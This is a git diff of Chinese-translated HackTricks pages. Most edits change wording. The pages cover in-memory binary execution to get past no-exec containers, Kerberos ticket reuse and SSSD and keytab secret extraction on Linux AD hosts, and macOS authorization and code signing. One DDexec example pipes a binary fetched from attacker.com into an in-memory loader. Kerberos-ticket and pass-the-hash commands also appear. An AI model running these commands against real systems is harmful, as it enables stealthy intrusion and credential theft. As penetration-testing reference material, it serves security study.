如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
如果你对 **黑客职业** 感兴趣并想要攻破不可攻破的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -166,7 +166,7 @@ TODO: 完成 Windows 和 Linux 的持久性后期处理
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -23,7 +23,7 @@
|
|||
|
||||
## 视频
|
||||
|
||||
在以下视频中,你可以找到本页提到的技术的更深入解释:
|
||||
在以下视频中,你可以找到本页面提到的技术的更深入解释:
|
||||
|
||||
* [**DEF CON 31 - 探索 Linux 内存操控以实现隐蔽和规避**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**使用 DDexec-ng 和内存 dlopen() 的隐蔽入侵 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
@ -48,7 +48,7 @@ securityContext:
|
|||
然而,即使文件系统被挂载为只读,**`/dev/shm`** 仍然是可写的,因此我们不能写入磁盘的说法是错误的。然而,这个文件夹将被 **挂载为无执行保护**,所以如果你在这里下载一个二进制文件,你 **将无法执行它**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
从红队的角度来看,这使得 **下载和执行** 系统中不存在的二进制文件(如后门或枚举工具如 `kubectl`)变得 **复杂**。
|
||||
从红队的角度来看,这使得 **下载和执行** 系统中未存在的二进制文件(如后门或枚举工具如 `kubectl`)变得 **复杂**。
|
||||
{% endhint %}
|
||||
|
||||
## 最简单的绕过:脚本
|
||||
|
@ -59,13 +59,13 @@ securityContext:
|
|||
|
||||
## 内存绕过
|
||||
|
||||
如果你想执行一个二进制文件,但文件系统不允许这样做,最好的方法是 **从内存中执行它**,因为 **保护措施不适用于内存**。
|
||||
如果你想执行一个二进制文件,但文件系统不允许这样做,最好的方法是 **从内存中执行它**,因为 **保护措施不适用于那里**。
|
||||
|
||||
### FD + exec 系统调用绕过
|
||||
|
||||
如果你在机器内部有一些强大的脚本引擎,例如 **Python**、**Perl** 或 **Ruby**,你可以将二进制文件下载到内存中执行,将其存储在一个内存文件描述符中(`create_memfd` 系统调用),这个描述符不会受到这些保护的影响,然后调用 **`exec` 系统调用** 指定 **fd 作为要执行的文件**。
|
||||
|
||||
为此,你可以轻松使用项目 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)。你可以传递一个二进制文件,它将生成一个指定语言的脚本,包含 **压缩和 b64 编码的二进制文件** 以及 **解码和解压缩** 的指令,存储在通过调用 `create_memfd` 系统调用创建的 **fd** 中,并调用 **exec** 系统调用来运行它。
|
||||
为此,你可以轻松使用项目 [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)。你可以传递一个二进制文件,它将生成一个指定语言的脚本,包含 **压缩和 b64 编码的二进制文件** 以及 **解码和解压缩** 的指令,使用调用 `create_memfd` 系统调用创建的 **fd** 和调用 **exec** 系统调用来运行它。
|
||||
|
||||
{% hint style="warning" %}
|
||||
这在其他脚本语言如 PHP 或 Node 中不起作用,因为它们没有任何 **默认方式从脚本调用原始系统调用**,因此无法调用 `create_memfd` 来创建 **内存 fd** 来存储二进制文件。
|
||||
|
@ -75,12 +75,12 @@ securityContext:
|
|||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) 是一种技术,允许你 **通过覆盖自己的进程的内存** 来 **修改内存**。
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec) 是一种技术,允许你通过覆盖 **`/proc/self/mem`** 来 **修改你自己进程的内存**。
|
||||
|
||||
因此,**控制正在被进程执行的汇编代码**,你可以编写 **shellcode** 并“变异”该进程以 **执行任何任意代码**。
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec** 将允许你加载并 **执行** 你自己的 **shellcode** 或 **任何二进制文件** 从 **内存** 中。
|
||||
**DDexec / EverythingExec** 将允许你从 **内存** 中加载和 **执行** 你自己的 **shellcode** 或 **任何二进制文件**。
|
||||
{% endhint %}
|
||||
```bash
|
||||
# Basic example
|
||||
|
@ -100,7 +100,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
|
|||
|
||||
### Memdlopen
|
||||
|
||||
与 DDexec 具有类似目的的 [**memdlopen**](https://github.com/arget13/memdlopen) 技术允许以 **更简单的方式加载二进制文件** 到内存中以便稍后执行。它甚至可以允许加载带有依赖项的二进制文件。
|
||||
与 DDexec 具有相似目的的 [**memdlopen**](https://github.com/arget13/memdlopen) 技术允许以 **更简单的方式加载二进制文件** 到内存中以便稍后执行。它甚至可以加载带有依赖项的二进制文件。
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
|
@ -124,15 +124,15 @@ Distroless 容器的目标是 **通过消除不必要的组件来减少容器的
|
|||
使用脚本语言,您可以 **使用语言功能枚举系统**。
|
||||
{% endhint %}
|
||||
|
||||
如果没有 **`read-only/no-exec`** 保护,您可以利用您的反向 shell **在文件系统中写入您的二进制文件** 并 **执行** 它们。
|
||||
如果没有 **`read-only/no-exec`** 保护,您可以利用反向 shell **在文件系统中写入您的二进制文件** 并 **执行** 它们。
|
||||
|
||||
{% hint style="success" %}
|
||||
然而,在这种类型的容器中,这些保护通常会存在,但您可以使用 **之前的内存执行技术来绕过它们**。
|
||||
然而,在这种类型的容器中,这些保护通常会存在,但您可以使用 **先前的内存执行技术来绕过它们**。
|
||||
{% endhint %}
|
||||
|
||||
您可以在 [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) 找到 **示例**,了解如何 **利用一些 RCE 漏洞** 获取脚本语言的 **反向 shell** 并从内存中执行二进制文件。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
如果您对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_).
|
||||
|
||||
|
@ -147,7 +147,7 @@ Distroless 容器的目标是 **通过消除不必要的组件来减少容器的
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,35 +1,33 @@
|
|||
# Linux Active Directory
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
在Active Directory环境中也可以存在一台linux机器。
|
||||
在 Active Directory 环境中也可以存在一台 Linux 机器。
|
||||
|
||||
在AD中的linux机器可能**在文件中存储不同的CCACHE票证。这些票证可以像其他任何kerberos票证一样被使用和滥用**。要读取这些票证,您需要是票证的用户所有者或**root**用户。
|
||||
在 AD 中的 Linux 机器可能会**在文件中存储不同的 CCACHE 票证。这些票证可以像其他任何 Kerberos 票证一样被使用和滥用**。要读取这些票证,您需要是票证的用户所有者或**root**用户。
|
||||
|
||||
## Enumeration
|
||||
## 枚举
|
||||
|
||||
### 从linux进行AD枚举
|
||||
### 从 Linux 进行 AD 枚举
|
||||
|
||||
如果您在linux(或Windows中的bash)上访问AD,可以尝试[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)来枚举AD。
|
||||
如果您在 Linux(或 Windows 的 bash)中访问 AD,您可以尝试 [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) 来枚举 AD。
|
||||
|
||||
您还可以查看以下页面以了解**从linux枚举AD的其他方法**:
|
||||
您还可以查看以下页面以了解**从 Linux 枚举 AD 的其他方法**:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
|
||||
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
|
||||
|
@ -37,27 +35,27 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
### FreeIPA
|
||||
|
||||
FreeIPA是一个开源的**替代方案**,用于Microsoft Windows **Active Directory**,主要用于**Unix**环境。它结合了一个完整的**LDAP目录**和一个MIT **Kerberos**密钥分发中心,管理方式类似于Active Directory。利用Dogtag **证书系统**进行CA和RA证书管理,支持**多因素**身份验证,包括智能卡。集成了SSSD用于Unix身份验证过程。了解更多信息:
|
||||
FreeIPA 是一个开源的**替代** Microsoft Windows **Active Directory** 的解决方案,主要用于**Unix** 环境。它结合了一个完整的**LDAP 目录**和一个 MIT **Kerberos** 密钥分发中心,管理方式类似于 Active Directory。利用 Dogtag **证书系统**进行 CA 和 RA 证书管理,支持**多因素**身份验证,包括智能卡。集成了 SSSD 以支持 Unix 身份验证过程。了解更多信息:
|
||||
|
||||
{% content-ref url="../freeipa-pentesting.md" %}
|
||||
[freeipa-pentesting.md](../freeipa-pentesting.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 玩票证
|
||||
## 操作票证
|
||||
|
||||
### Pass The Ticket
|
||||
|
||||
在此页面中,您将找到不同的地方,您可以**在linux主机中找到kerberos票证**,在以下页面中,您可以学习如何将这些CCache票证格式转换为Kirbi(您在Windows中需要使用的格式),以及如何执行PTT攻击:
|
||||
在此页面中,您将找到不同的地方,您可以**在 Linux 主机中找到 Kerberos 票证**,在以下页面中,您可以学习如何将这些 CCache 票证格式转换为 Kirbi(您在 Windows 中需要使用的格式),以及如何执行 PTT 攻击:
|
||||
|
||||
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
|
||||
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 从/tmp重用CCACHE票证
|
||||
### 从 /tmp 重用 CCACHE 票证
|
||||
|
||||
CCACHE文件是用于**存储Kerberos凭据**的二进制格式,通常以600权限存储在`/tmp`中。这些文件可以通过其**名称格式,`krb5cc_%{uid}`,**与用户的UID相关联来识别。要验证身份验证票证,**环境变量`KRB5CCNAME`**应设置为所需票证文件的路径,以便重新使用。
|
||||
CCACHE 文件是用于**存储 Kerberos 凭据**的二进制格式,通常以 600 权限存储在 `/tmp` 中。这些文件可以通过其**名称格式 `krb5cc_%{uid}`**来识别,与用户的 UID 相关联。要验证身份验证票证,**环境变量 `KRB5CCNAME`** 应设置为所需票证文件的路径,以便重用。
|
||||
|
||||
使用`env | grep KRB5CCNAME`列出当前用于身份验证的票证。该格式是可移植的,票证可以通过使用`export KRB5CCNAME=/tmp/ticket.ccache`设置环境变量来**重新使用**。Kerberos票证名称格式为`krb5cc_%{uid}`,其中uid是用户UID。
|
||||
使用 `env | grep KRB5CCNAME` 列出当前用于身份验证的票证。该格式是可移植的,票证可以通过使用 `export KRB5CCNAME=/tmp/ticket.ccache` 设置环境变量来**重用**。Kerberos 票证名称格式为 `krb5cc_%{uid}`,其中 uid 是用户 UID。
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
|
@ -83,7 +81,7 @@ make CONF=Release
|
|||
|
||||
SSSD在路径 `/var/lib/sss/secrets/secrets.ldb` 处维护数据库的副本。相应的密钥存储为隐藏文件,路径为 `/var/lib/sss/secrets/.secrets.mkey`。默认情况下,只有在您具有 **root** 权限时,才能读取该密钥。
|
||||
|
||||
使用 \*\*`SSSDKCMExtractor` \*\* 调用 --database 和 --key 参数将解析数据库并 **解密秘密**。
|
||||
使用 **`SSSDKCMExtractor`** 调用 --database 和 --key 参数将解析数据库并 **解密秘密**。
|
||||
```bash
|
||||
git clone https://github.com/fireeye/SSSDKCMExtractor
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
|
@ -119,25 +117,24 @@ python3 keytabextract.py krb5.keytab
|
|||
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
|
||||
```
|
||||
## 参考文献
|
||||
|
||||
* [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/)
|
||||
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
|
||||
|
||||
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
学习和实践 AWS 黑客技术:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -29,7 +29,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
* **name**: 规则的唯一名称,用于在授权系统中识别和引用它。
|
||||
* **type**: 指定规则的类型,仅限于值 1 或 2,以定义其授权逻辑。
|
||||
* **class**: 将规则分类为特定类别,确保它是正整数。
|
||||
* "allow" 表示允许,"deny" 表示拒绝,"user" 如果组属性指示一个允许访问的组,"rule" 表示在数组中需要满足的规则,"evaluate-mechanisms" 后跟一个 `mechanisms` 数组,这些机制可以是内置的或是 `/System/Library/CoreServices/SecurityAgentPlugins/` 或 /Library/Security//SecurityAgentPlugins 中的一个包的名称。
|
||||
* "allow" 表示允许,"deny" 表示拒绝,"user" 如果组属性指示一个允许访问的组,"rule" 表示在数组中需要满足的规则,"evaluate-mechanisms" 后跟一个 `mechanisms` 数组,这些机制可以是内置的或位于 `/System/Library/CoreServices/SecurityAgentPlugins/` 或 /Library/Security//SecurityAgentPlugins 中的一个包的名称。
|
||||
* **group**: 指示与规则相关联的用户组,用于基于组的授权。
|
||||
* **kofn**: 表示 "k-of-n" 参数,确定必须满足的子规则数量。
|
||||
* **timeout**: 定义规则授予的授权在多少秒后过期。
|
||||
|
@ -39,7 +39,7 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
* **created**: 记录规则创建时的时间戳,以便审计。
|
||||
* **modified**: 存储对规则进行的最后修改的时间戳。
|
||||
* **hash**: 保存规则的哈希值,以确保其完整性并检测篡改。
|
||||
* **identifier**: 提供唯一的字符串标识符,例如 UUID,用于外部引用规则。
|
||||
* **identifier**: 提供唯一的字符串标识符,例如 UUID,以供外部引用规则。
|
||||
* **requirement**: 包含序列化数据,定义规则的特定授权要求和机制。
|
||||
* **comment**: 提供规则的可读描述或注释,以便于文档和清晰性。
|
||||
|
||||
|
@ -94,7 +94,7 @@ security authorizationdb read com.apple.tcc.util.admin
|
|||
|
||||
这将以 root 身份分叉并执行 `/usr/libexec/security_authtrampoline /bin/ls`,这将提示请求权限以 root 身份执行 ls:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -19,9 +19,9 @@
|
|||
|
||||
Mach-o 二进制文件包含一个加载命令 **`LC_CODE_SIGNATURE`**,指示二进制文件内部签名的 **偏移量** 和 **大小**。实际上,使用 GUI 工具 MachOView,可以在二进制文件的末尾找到一个名为 **Code Signature** 的部分,其中包含这些信息:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1).png" alt="" width="431"><figcaption></figcaption></figure>
|
||||
|
||||
代码签名的魔术头是 **`0xFADE0CC0`**。然后你会得到一些信息,例如 superBlob 的长度和 blob 的数量。\
|
||||
代码签名的魔术头是 **`0xFADE0CC0`**。然后你会看到一些信息,例如 superBlob 的长度和 blob 的数量。\
|
||||
可以在 [源代码这里](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/osfmk/kern/cs\_blobs.h#L276) 找到这些信息:
|
||||
```c
|
||||
/*
|
||||
|
@ -51,8 +51,8 @@ char data[];
|
|||
} CS_GenericBlob
|
||||
__attribute__ ((aligned(1)));
|
||||
```
|
||||
常见的包含内容有代码目录、要求和权限以及加密消息语法(CMS)。\
|
||||
此外,请注意,编码在 blobs 中的数据是以 **大端序** 编码的。
|
||||
常见的包含的 blob 有代码目录、要求和权限以及加密消息语法 (CMS)。\
|
||||
此外,请注意 blob 中编码的数据是以 **大端格式** 编码的。
|
||||
|
||||
此外,签名可以从二进制文件中分离并存储在 `/var/db/DetachedSignatures`(iOS 使用)。
|
||||
|
||||
|
@ -118,8 +118,8 @@ __attribute__ ((aligned(1)));
|
|||
|
||||
## 签名代码页面
|
||||
|
||||
对完整二进制文件进行哈希会低效且无用,因为它可能只在内存中部分加载。因此,代码签名实际上是哈希的哈希,其中每个二进制页面都是单独哈希的。\
|
||||
实际上,在之前的 **Code Directory** 代码中,您可以看到 **页面大小在其字段之一中被指定**。此外,如果二进制文件的大小不是页面大小的倍数,字段 **CodeLimit** 指定了签名的结束位置。
|
||||
对完整二进制文件进行哈希会低效,甚至在其仅部分加载到内存时毫无意义。因此,代码签名实际上是哈希的哈希,其中每个二进制页面单独进行哈希。\
|
||||
实际上,在之前的 **Code Directory** 代码中,您可以看到 **页面大小在其字段中被指定**。此外,如果二进制文件的大小不是页面大小的倍数,字段 **CodeLimit** 指定了签名的结束位置。
|
||||
```bash
|
||||
# Get all hashes of /bin/ps
|
||||
codesign -d -vvvvvv /bin/ps
|
||||
|
@ -157,7 +157,7 @@ openssl sha256 /tmp/*.page.*
|
|||
```
|
||||
## Entitlements Blob
|
||||
|
||||
注意,应用程序可能还包含一个**权限 blob**,其中定义了所有权限。此外,一些 iOS 二进制文件可能在特殊槽 -7 中具有其特定权限(而不是在 -5 权限特殊槽中)。
|
||||
请注意,应用程序可能还包含一个**权限 blob**,其中定义了所有权限。此外,一些 iOS 二进制文件可能在特殊槽 -7 中具有其特定权限(而不是在 -5 权限特殊槽中)。
|
||||
|
||||
## Special Slots
|
||||
|
||||
|
@ -266,7 +266,7 @@ od -A x -t x1 /tmp/output.csreq
|
|||
|
||||
#### **检查有效性**
|
||||
|
||||
* **`Sec[Static]CodeCheckValidity`**:检查 SecCodeRef 是否符合要求的有效性。
|
||||
* **`Sec[Static]CodeCheckValidity`**:根据要求检查 SecCodeRef 的有效性。
|
||||
* **`SecRequirementEvaluate`**:在证书上下文中验证要求。
|
||||
* **`SecTaskValidateForRequirement`**:验证正在运行的 SecTask 是否符合 `CFString` 要求。
|
||||
|
||||
|
@ -284,7 +284,7 @@ od -A x -t x1 /tmp/output.csreq
|
|||
|
||||
#### **修改代码要求**
|
||||
|
||||
* **`SecCodeSignerCreate`**:创建 `SecCodeSignerRef` 对象以执行代码签名操作。
|
||||
* **`SecCodeSignerCreate`**:创建一个 `SecCodeSignerRef` 对象以执行代码签名操作。
|
||||
* **`SecCodeSignerSetRequirement`**:为代码签名者设置在签名期间应用的新要求。
|
||||
* **`SecCodeSignerAddSignature`**:将签名添加到使用指定签名者签名的代码中。
|
||||
|
||||
|
@ -308,11 +308,11 @@ od -A x -t x1 /tmp/output.csreq
|
|||
|
||||
## 代码签名强制执行
|
||||
|
||||
**内核**是在允许应用程序代码执行之前**检查代码签名**的。此外,能够在内存中写入和执行新代码的一种方法是滥用 JIT,如果 `mprotect` 以 `MAP_JIT` 标志调用。请注意,应用程序需要特殊的权限才能做到这一点。
|
||||
**内核**是在允许应用程序代码执行之前**检查代码签名**的。此外,能够在内存中写入和执行新代码的一种方法是滥用 JIT,如果 `mprotect` 被调用时带有 `MAP_JIT` 标志。请注意,应用程序需要特殊的权限才能做到这一点。
|
||||
|
||||
## `cs_blobs` & `cs_blob`
|
||||
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) 结构包含有关正在运行的进程的权限信息。 `csb_platform_binary` 还指示应用程序是否为平台二进制文件(操作系统在不同时间检查以应用安全机制,例如保护这些进程的任务端口的 SEND 权限)。
|
||||
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc_internal.h#L106) 结构包含有关正在运行的进程的权限信息。 `csb_platform_binary` 还指示应用程序是否为平台二进制文件(操作系统在不同时间检查这一点,以应用安全机制,例如保护这些进程的任务端口的 SEND 权限)。
|
||||
```c
|
||||
struct cs_blob {
|
||||
struct cs_blob *csb_next;
|
||||
|
@ -384,7 +384,7 @@ bool csb_csm_managed;
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@
|
|||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
|
@ -23,7 +23,7 @@
|
|||
|
||||
这是因为在 SMTP 协议中,**要发送的邮件数据**由用户(攻击者)控制,攻击者可以发送特别构造的数据,利用解析器之间的差异,在接收方走私额外的邮件。请查看原始文章中的这个示例:
|
||||
|
||||
